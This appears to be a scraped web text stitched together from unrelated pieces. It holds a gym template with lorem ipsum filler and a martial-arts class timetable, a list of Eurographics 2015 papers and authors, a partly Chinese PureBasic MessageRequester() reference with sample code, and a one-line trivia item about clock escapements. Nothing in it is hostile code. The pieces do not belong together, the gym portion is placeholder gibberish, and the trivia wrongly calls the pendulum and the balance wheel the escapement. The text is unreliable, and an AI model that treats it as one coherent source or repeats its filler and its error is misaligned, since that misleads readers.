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The gym clubs offer a range of challenging and dynamic fitness classes for womens.
We have selected the best classes you should join at the gym club if you want to achieve your training goals.
Would you like to be a part of the most successful powerlifting classes at the gym club.
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Dolor sit amet consectetur adipiscing elistibulum adipiscing lorem erates orciese adipiscing elistibulum alesuade soniste.
Suspendisse potenras neces lorem gravida euroin odiectus gravi siamet consecttu some adiscg elilors.
Uspendisse potenras neces lorem gravida euroin odio lectus ateipsum primis lorem ipsums.
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Vestibulum ateipsum primis lorem fauciborci luctuet ultrices posesf ringillaonec vemetus dolor.
Monday: 10-1***
5pm Privates/Padwork
6pm Kickboxing 101
7pm Advance Striking
8pm Advanced MMA
Tuesday 9am-12pm
4pm Kids Class
5pm Privates/Padwork
6pm Kickboxing 101
7pm Advanced Kickboxing
8pm Advanced MMA
Wednesday 10am-12pm
4pm Kid's
6pm Conditioning
7pm Kickboxing 101
8pm MMA Basics
Thursday 9am-12pm
4pm kid's
6pm Conditioning
7pm MMA Technique
8pm Sparring
Friday* 10am-12pm
6pm Judo(NoGi)
7pm MMA Basics
Saturday 12pm-3pm
***Mornings and Saturday are always Conditioning, Striking & MMA/Grappling in that order. *Friday morning no Conditioning


Page maintained by Ke-Sen Huang.
If you have additions or changes, send an e-mail.
Note that when possible I link to the page containing the link to the actual PDF or PS of the preprint.
I prefer this as it gives some context to the paper and avoids possible copyright problems with direct linking.
Thus you may need to search on the page to find the actual document.
Eurographics Digital Library: Computer Graphics Forum Volume 34 - Issue 2 (EG 2015 Proceedings)
Eurographics Digital Library Link for the paper
Paper Abstract
Author Preprint
Paper Video
Paper Presentation
Paper Images
Paper Data
Demo Program or Source Code
Related Links
Changelog
FP1: Images & Scenes
- Hallucinating Stereoscopy from a Single Image
-
Qiong Zeng,
Wenzheng Chen,
Huan Wang,
Changhe Tu,
Daniel Cohen-Or,
Dani Lischinski,
Baoquan Chen
- Object Repositioning Based on the Perspective in a Single Image
(CGF Paper)
-
Satoshi Iizuka,
Yuki Endo, Masaki Hirose, Yoshihiro Kanamori, Jun Mitani, Yukio Fukui
- Modelling Cumulus Cloud Shape from a Single Image
-
Chunqiang Yuan, Xiaohui Liang, Shiyu Hao, Yue Qi, Qinping Zhao
- Composition-Aware Scene Optimization for Product Images
-
Tianqiang Liu,
Jim McCann,
Wilmot Li,
Thomas Funkhouser
FP2: Sampling & Skins
- Sample Elimination for Generating Poisson Disk Sample Sets
-
Cem Yuksel
- Compressive Image Reconstruction in Reduced Union of Subspaces
-
Ehsan Miandji,
Joel Kronander,
Jonas Unger
- Interactive Diffraction from Biological Nanostructures
-
Daljit Singh Dhillon,
Jérémie Teyssier, Michael Single, Iaroslav Gaponenko, Michel C. Milinkovitch,
Matthias Zwicker
- A Biophysically-Based Model of the Optical Properties of Skin Aging
-
Jose Iglesias,
Carlos Aliaga,
Adrian Jarabo,
Diego Gutierrez
FP3: Image and Video Processing
- Panoramic Video from Unstructured Camera Arrays
-
Federico Perazzi,
Alexander Sorkine-Hornung,
Henning Zimmer,
Oliver Wang,
Scott Watson,
Markus Gross
- Designing Camera Networks by Convex Quadratic Programming
-
Bernard Ghanem,
Yuanhao Cao,
Peter Wonka
- High-Order Recursive Filtering of Non-Uniformly Sampled Signals for Image and Video Processing
-
Eduardo S. L. Gastal,
Manuel M. Oliveira
- Jointly Optimized Regressors for Image Super-resolution
-
Dengxin Dai,
Radu Timofte,
Luc Van Gool
FP4: Procedural and Parametric Modeling
- Inverse Procedural Modelling of Trees
(CGF Paper)
-
Ondrej Stava,
Sören Pirk, Julian Kratt, Baoquan Chen, Radomír Měch,
Oliver Deussen,
Bedrich Benes
- Parallel, Realistic and Controllable Terrain Synthesis
-
James Gain,
Bruce Merry,
Patrick Marais
- Interactive Procedural Modelling of Coherent Waterfall Scenes
-
Arnaud Emilien,
Pierre Poulin,
Marie-Paule Cani,
Ulysse Vimont
- Interactive Dimensioning of Parametric Models
-
Tom Kelly,
Peter Wonka,
Pascal Müller
FP5: Image Collections
- Distilled Collections from Textual Image Queries
-
Hadar Averbuch-Elor,
Yunhai Wang,
Yiming Qian,
Minglun Gong,
Johannes Kopf,
Hao Zhang,
Daniel Cohen-Or
- Guiding Image Manipulations using Shape-appearance Subspaces from Co-alignment of Image Collections
-
Chuong H. Nguyen,
Oliver Nalbach,
Tobias Ritschel,
Hans-Peter Seidel
- IsoMatch: Creating Informative Grid Layouts
-
Ohad Fried,
S. DiVerdi, M. Halber, E. Sizikova,
Adam Finkelstein
- Comprehensible Video Thumbnails
-
Jongdae Kim,
Charles Gray,
Paul Asente,
John Collomosse
FP6: All About Faces
- Interactive Generation of Realistic Facial Wrinkles from Sketchy Drawings
-
Hyeon-Joong Kim,
A. Cengiz Öztireli,
Il-Kyu Shin,
Markus Gross,
Soo-Mi Choi
- VDub: Modifying Face Video of Actors for Plausible Visual Alignment to a Dubbed Audio Track
-
Pablo Garrido,
Levi Valgaerts,
Hamid Sarmadi,
Ingmar Steiner,
Kiran Varanasi,
Patrick Perez,
Christian Theobalt
- Exemplar-Based Portrait Photograph Enhancement as Informed by Portrait Paintings
-
Xiaoyan Zhang,
Martin Constable,
Kap Luk Chan
FP7: Cities & Roads
- Layer-Based Procedural Design of Facades
-
Martin Ilcik,
Przemyslaw Musialski,
Thomas Auzinger,
Michael Wimmer
- Procedural Modelling of Urban Road Networks
(CGF Paper)
-
Jan Beneš,
Alexander Wilkie,
Jaroslav Křivánek
- Template Assembly for Detailed Urban Reconstruction
-
Liangliang Nan,
Caigui Jiang,
Bernard Ghanem,
Peter Wonka
- Inexpensive Reconstruction and Rendering of Realistic Roadside Landscapes
-
Carlos Andújar,
Antoni Chica,
Miguel Angel Vico, Sergio Moya,
Pere Brunet
FP8: Fabrication
- 3D Fabrication of 2D Mechanisms
-
Jean Hergel,
Sylvain Lefebvre
- PackMerger: A 3D Print Volume Optimizer
(CGF Paper)
-
Juraj Vanek,
Jorge Antonio Garcia Galicia,
Bedrich Benes,
Radomír Měch, Nathan A. Carr, Ondrej Stava, Gavin S.P. Miller
- Approximating Free-form Geometry with Height Fields for Manufacturing
-
Philipp Herholz,
Wojciech Matusik,
Marc Alexa
- High Reliefs from 3D Scenes
-
Sami Arpa,
Sabine Susstrunk,
Roger D. Hersch
FP9: Shape Manipulation
- Shape-from-Operator: recovering shapes from intrinsic operators
-
Davide Boscaini,
D. Eynard, D. Kouronis,
Michael M. Bronstein
- Skeleton-Intrisin Symmetrization of Shapes
-
Qian Zheng,
Zhuming Hao,
Hui Huang,
Kai Xu,
Hao Zhang,
Daniel Cohen-Or,
Baoquan Chen
- Interactive Disassembly Planning of Complex Objects
-
Bernhard Kerbl,
Denis Kalkofen,
Markus Steinberger,
Dieter Schmalstieg
- Approximating the Generalized Voronoi Diagram of Closely Spaced Objects
-
John Edwards,
Eric Daniel,
Valerio Pascucci,
Chandrajit Bajaj
FP10: Agile Hardware
- Hardware-Based Non-Photorealistic Rendering Using a Painting Robot
-
Thomas Lindemeier,
Jens Metzner,
Lena Pollak,
Oliver Deussen
- Light Chisel: 6DOF Pen Tracking
-
Vojtěch Bubník,
Vlastimil Havran
- Content-Independent Multi-Spectral Display Using Superimposed Projections
-
Yuqi Li,
Aditi Majumder,
Dongming Lu,
Meenakshisundaram Gopi
FP11: Colors and Textures
- Self Tuning Texture Optimization
-
Alexandre Kaspar,
Boris Neubert,
Dani Lischinski,
Mark Pauly,
Johannes Kopf
- Woodification: User-Controlled Cambial Growth Modeling
-
Kratt, J, Spicker, M., Guayaquil, A., Fiser, M., Pirk, S., Deussen, O., Hart, J.C.,
Bedrich Benes
- Color Sequence Preserving Decolorization
-
Min-Joon Yoo,
In-Kwon Lee,
Seungyong Lee
- Paint and Click: Unified Interactions for Image Boundaries
-
Brian Summa,
A. Ashurst Gooch,
Giorgio Scorzelli,
Valerio Pascucci
FP12: Bodies in Motion
- Real-Time Subspace Integration for Example-Based Elastic Material
-
Wenjing Zhang,
Jianmin Zheng,
Nadia Magnenat Thalmann
- Scalable Partitioning for Parallel Position Based Dynamics
-
Marco Fratarcangeli,
Fabio Pellacini
- Improving Sampling-based Motion Control
-
Libin Liu,
KangKang Yin,
Baining Guo
- Biologically-Inspired Visual Simulation of Insect Swarms
-
Weizi Li,
David Wolinski,
Julien Pettré,
Ming C. Lin
FP13: Reconstruction
- Robust Segmentation of Multiple Intersecting Manifolds from Unoriented Noisy Point Clouds
(CGF Paper)
-
Jacek Kustra,
Andrei C. Jalba,
Alexandru Telea
- Database-Assisted Object Retrieval for Real-Time 3D Reconstruction
-
Yangyan Li,
Angela Dai,
Leonidas Guibas,
Matthias Niessner
- SmartAnnotator: An Interactive Tool for Annotating Indoor RGBD Images
-
Yu-Shiang Wong,
Hung-Kuo Chu,
Niloy Mitra
- Adaptable Anatomical Models for Realistic Bone Motion Reconstruction
-
Lifeng Zhu,
Xiaoyan Hu,
Ladislav Kavan
FP14: Fluids & Flows
- A Dimension-reduced Pressure Solver for Liquid Simulations
-
Ryoichi Ando,
Nils Thurey,
Chris Wojtan
- A Cut-Cell Geometric Multigrid Poisson Solver for Fluid Simulation
-
Daniel Weber,
Johannes Mueller-Roemer,
André Stork,
Dieter W. Fellner
- Implicit Formulation for SPH-based Viscous Fluids
-
T. Takahashi,
Yoshinori Dobashi,
I. Fujishiro,
Tomoyuki Nishita,
Ming C. Lin
- Time Line Cell Tracking for the Approximation of Lagrangian Coherent Structures with Subgrid Accuracy
-
Alexander Kuhn,
Wito Engelke,
Christian Rössl,
Markus Hadwiger,
Holger Theisel
FP15: Shape Collections
- Mobility-Trees for Indoor Scenes Manipulation
-
Andrei Sharf,
Hui Huang,
Cheng Liang, Jiapei Zhang,
Baoquan Chen,
Minglun Gong
- Replaceable Substructures for Efficient Part-Based Modeling
-
Han Liu,
Ulysse Vimont,
Michael Wand,
Marie-Paule Cani,
Stefanie Hahmann,
Damien Rohmer,
Niloy Mitra
- Modelling of Non-Periodic Aggregates Having a Pile Structure
-
Kaisei Sakurai,
Kazunori Miyata
- Generating Design Suggestions under Tight Constraints with Gradient-based Probabilistic Programming
-
Daniel Ritchie,
Sharon Lin, Noah D. Goodman,
Pat Hanrahan
FP16: Real-Time Rendering & Quantization
- T-SAH: Animation Optimized Bounding Volume Hierarchies
-
Jiří Bittner,
Daniel Meister
- CHC+RT: Coherent Hierarchical Culling for Ray Tracing
-
Oliver Mattausch,
Jiri Bittner,
Alberto Jaspe Villanueva,
Enrico Gobbetti,
Michael Wimmer,
Renato Pajarola
- Partitioned Shadow Volumes
-
Julien Gerhards,
Frederic Mora,
Lilian Aveneau,
Djamchid Ghazanfarpour
- On Near Optimal Lattice Quantization of Multi-Dimensional Data Points
-
Manuel Finckh,
Holger Dammertz,
Hendrik P. A. Lensch
FP17: Global Illumination
- IlluminationCut
-
Norbert Bus,
Nabil H. Mustafa, Venceslas Biri
- Rich-VPLs for Improving the Versatility of Many-Light Methods
-
Florian Simon,
Johannes Hanika,
Carsten Dachsbacher
- Robust Statistical Pixel Estimation
-
Jin Woo Jung,
Gary Meyer,
Ralph DeLong
- General and Robust Error Estimation and Reconstruction for Monte Carlo Rendering
-
Pablo Bauszat,
Martin Eisemann,
Elmar Eisemann,
Marcus Magnor
FP18: Splines & Meshes
- Selective Degree Elevation for Multi-Sided Bezier Patches
-
Jason Smith,
Scott Schaefer
- Optimal Spline Approximation via l0-Minimization
-
Christopher Brandt,
Hans-Peter Seidel,
Klaus Hildebrandt
- Quad Layout Embedding via Aligned Parameterization
(CGF Paper)
-
Marcel Campen,
Leif Kobbelt
- Statics Aware Grid Shells
-
Nico Pietroni,
Davide Tonelli,
Enrico Puppo,
Maurizio Froli,
Roberto Scopigno,
Paolo Cignoni
Short Papers
- Improving k-buffer methods via Occupancy Maps
-
Andreas Vasilakis,
Georgios Papaoiannou
- Adaptive LightSlice for Virtual Ray Lights
-
Roald Frederickx,
Pieterjan Bartels,
Philip Dutre
- Pixel Merge Unit
-
Rahul Sathe,
Tomas Akenine-Möller
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kesen.huang@gmail.com


MessageRequester()
语法
Result = MessageRequester(Title$, Text$ [, Flags])概要
Opens a blocking requester to display some information. The program execution is totally stopped until the user close the requester.
参数
Title$ The title of the requester window. Text$ The text displayed in the requester window. Flags (可选) 它可以是以下值之一︰ #PB_MessageRequester_Ok : to have the 'ok' only button (Standard) #PB_MessageRequester_YesNo : to have 'yes' or 'no' buttons #PB_MessageRequester_YesNoCancel : to have 'yes', 'no' and 'cancel' buttons
返回值
它可以是下列常量之一:#PB_MessageRequester_Yes : the 'yes' button was pressed #PB_MessageRequester_No : the 'no' button was pressed #PB_MessageRequester_Cancel : the 'Cancel' button was pressed
示例
; Simple MessageRequester (normally used for information purposes only) ; (result will be always the same, so we don't check it here) MessageRequester("Information", "Just a short information text.", #PB_MessageRequester_Ok) ; MessageRequester with Yes / No buttons (normally used for questions) ; (result will be shown in the following information requester) Result = MessageRequester("Title", "Please make your input:", #PB_MessageRequester_YesNo) a$ = "Result of the previously requester was: " If Result = #PB_MessageRequester_Yes ; pressed Yes button (Result = 6) a$ + "Yes" Else ; pressed No button (Result = 7) a$ + "No" EndIf MessageRequester("Information", a$, #PB_MessageRequester_Ok) ; MessageRequester with Yes / No / Cancel buttons (normally used for questions) ; (result will be shown in the following information requester) Result = MessageRequester("Title", "Please make your input:", #PB_MessageRequester_YesNoCancel) a$ = "Result of the previously requester was: " If Result = #PB_MessageRequester_Yes ; pressed Yes button a$ + "Yes" ElseIf Result = #PB_MessageRequester_No ; pressed No button a$ + "No" Else ; pressed Cancel button or Esc a$ + "Cancel" EndIf MessageRequester("Information", a$, #PB_MessageRequester_Ok)
已支持操作系统
所有


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What makes me tick? An escapement is the mechanism responsible for making the ticking sound in both clocks and watches. In a clock with weights, such as a grandfather clock, the escapement is the pendulum; in a watch, the balance wheel serves as the escapement.